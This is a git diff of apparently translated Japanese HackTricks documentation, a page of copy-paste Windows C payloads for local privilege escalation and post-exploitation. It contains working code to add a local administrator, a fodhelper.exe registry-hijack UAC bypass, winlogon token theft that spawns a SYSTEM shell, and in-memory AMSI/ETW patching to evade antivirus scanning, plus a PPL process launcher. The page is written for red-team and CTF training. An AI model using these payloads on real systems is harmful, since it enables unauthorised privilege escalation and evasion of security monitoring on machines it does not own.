@ -133,4 +189,12 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
|
||||
| Server Operators | Server Operators | Server Operators | Server Operators |
|
||||
|
||||
## References
|
||||
|
||||
- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
|
||||
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
|
||||
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
|
||||
- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,14 +1,14 @@
|
||||
# Windows C Payloads
|
||||
# Windows C ペイロード
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
このページでは、Windowsのローカル特権昇格やポストエクスプロイト中に便利な**小さく、自己完結したCスニペット**を集めています。各ペイロードは**コピー&ペーストしやすい**ように設計されており、Windows API / Cランタイムのみを必要とし、`i686-w64-mingw32-gcc` (x86) または `x86_64-w64-mingw32-gcc` (x64) でコンパイルできます。
|
||||
このページは、Windows Local Privilege Escalation や post-exploitation の際に便利な、**小さく自己完結した C スニペット** を集めたものです。各ペイロードは**コピー&ペーストしやすい**よう設計されており、Windows API / C ランタイムのみを必要とし、`i686-w64-mingw32-gcc` (x86) や `x86_64-w64-mingw32-gcc` (x64) でコンパイルできます。
|
||||
|
||||
> ⚠️ これらのペイロードは、プロセスがアクションを実行するために必要な最小限の特権(例:`SeDebugPrivilege`、`SeImpersonatePrivilege`、またはUACバイパスのための中程度の整合性コンテキスト)をすでに持っていることを前提としています。これらは、脆弱性を悪用して任意のネイティブコード実行が可能な**レッドチームまたはCTF設定**を目的としています。
|
||||
> ⚠️ これらのペイロードは、プロセスが既にその操作を行うために必要な最小限の権限(例: `SeDebugPrivilege`、`SeImpersonatePrivilege`、または medium-integrity context for a UAC bypass)を持っていることを前提としています。これらは、脆弱性の悪用により任意のネイティブコード実行を得た **red-team or CTF settings** を意図しています。
|
||||
|
||||
---
|
||||
|
||||
## Add local administrator user
|
||||
## ローカル管理者ユーザーを追加
|
||||
```c
|
||||
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
|
||||
#include <stdlib.h>
|
||||
@ -20,14 +20,14 @@ return 0;
|
||||
```
|
||||
---
|
||||
|
||||
## UACバイパス – `fodhelper.exe` レジストリハイジャック (中 → 高整合性)
|
||||
信頼されたバイナリ **`fodhelper.exe`** が実行されると、以下のレジストリパスを **`DelegateExecute` 動詞をフィルタリングせずに** クエリします。このキーの下にコマンドを植え付けることで、攻撃者はファイルをディスクに落とすことなくUACをバイパスできます。
|
||||
## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
|
||||
信頼されたバイナリ **`fodhelper.exe`** が実行されると、以下のレジストリパスを参照しますが **`DelegateExecute` 動詞をフィルタリングしません**。そのキーの下にコマンドを仕込むことで、攻撃者はファイルをディスクに書き込むことなく UAC をバイパスできます。
|
||||
|
||||
*`fodhelper.exe` によってクエリされたレジストリパス*
|
||||
*`fodhelper.exe` が参照するレジストリパス*
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
最小限のPoCで、昇格された`cmd.exe`をポップします:
|
||||
昇格した `cmd.exe` を起動する最小限のPoC:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -61,12 +61,12 @@ system("fodhelper.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Windows 10 22H2およびWindows 11 23H2(2025年7月のパッチ)でテスト済み。バイパスはまだ機能します。なぜなら、Microsoftは`DelegateExecute`パスの欠落した整合性チェックを修正していないからです。*
|
||||
*Windows 10 22H2 および Windows 11 23H2(2025年7月パッチ)でテスト済み。Microsoft は `DelegateExecute` パスに欠落している整合性チェックを修正していないため、このバイパスはまだ有効です。*
|
||||
|
||||
---
|
||||
|
||||
## トークン複製によるSYSTEMシェルの生成(`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
現在のプロセスが**両方**の`SeDebug`および`SeImpersonate`特権を保持している場合(多くのサービスアカウントに典型的)、`winlogon.exe`からトークンを盗み、それを複製して昇格したプロセスを開始できます:
|
||||
## token duplication による SYSTEM シェルの起動 (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
現在のプロセスが **両方** の `SeDebug` と `SeImpersonate` 権限を持っている場合(多くのサービスアカウントで典型的)、`winlogon.exe` からトークンを奪い、複製して昇格したプロセスを開始できます:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
|
||||
#include <windows.h>
|
||||
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
|
||||
STARTUPINFOW si = { .cb = sizeof(si) };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
|
||||
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
For a deeper explanation of how that works see:
|
||||
その仕組みのより詳細な説明については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
sedebug-+-seimpersonate-copy-token.md
|
||||
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
|
||||
|
||||
---
|
||||
|
||||
## インメモリ AMSI & ETW パッチ (防御回避)
|
||||
ほとんどの現代の AV/EDR エンジンは、悪意のある動作を検査するために **AMSI** と **ETW** に依存しています。現在のプロセス内で両方のインターフェースを早期にパッチすることで、スクリプトベースのペイロード(例:PowerShell、JScript)がスキャンされるのを防ぎます。
|
||||
## メモリ内 **AMSI** & **ETW** Patch (Defence Evasion)
|
||||
ほとんどの最新の AV/EDR エンジンは、悪意のある動作を検査するために **AMSI** と **ETW** に依存しています。現在のプロセス内で両方のインターフェイスを早期にパッチすると、スクリプトベースのペイロード(例: PowerShell、JScript)がスキャンされるのを防げます。
|
||||
```c
|
||||
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*上記のパッチはプロセスローカルであり、それを実行した後に新しいPowerShellを起動すると、AMSI/ETW検査なしで実行されます。*
|
||||
*上記のパッチはプロセスローカルです。実行後に新しい PowerShell を起動しても AMSI/ETW による検査を受けません。*
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
## 子プロセスを Protected Process Light (PPL) として作成
|
||||
`STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL` を使用して、作成時に子プロセスに PPL 保護レベルを要求します。これはドキュメント化された API で、ターゲットイメージが要求された signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb) 用に署名されている場合にのみ成功します。
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(void) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
|
||||
|
||||
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
|
||||
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&lvl, sizeof(lvl), NULL, NULL);
|
||||
|
||||
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
|
||||
return 1;
|
||||
}
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
よく使われるレベル:
|
||||
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
|
||||
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
|
||||
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
|
||||
|
||||
結果は Process Explorer/Process Hacker の Protection 列を確認して検証してください。
|
||||
|
||||
---
|
||||
|
||||
## 参考資料
|
||||
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
|
||||
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
|
||||
* CreateProcessAsPPL – minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user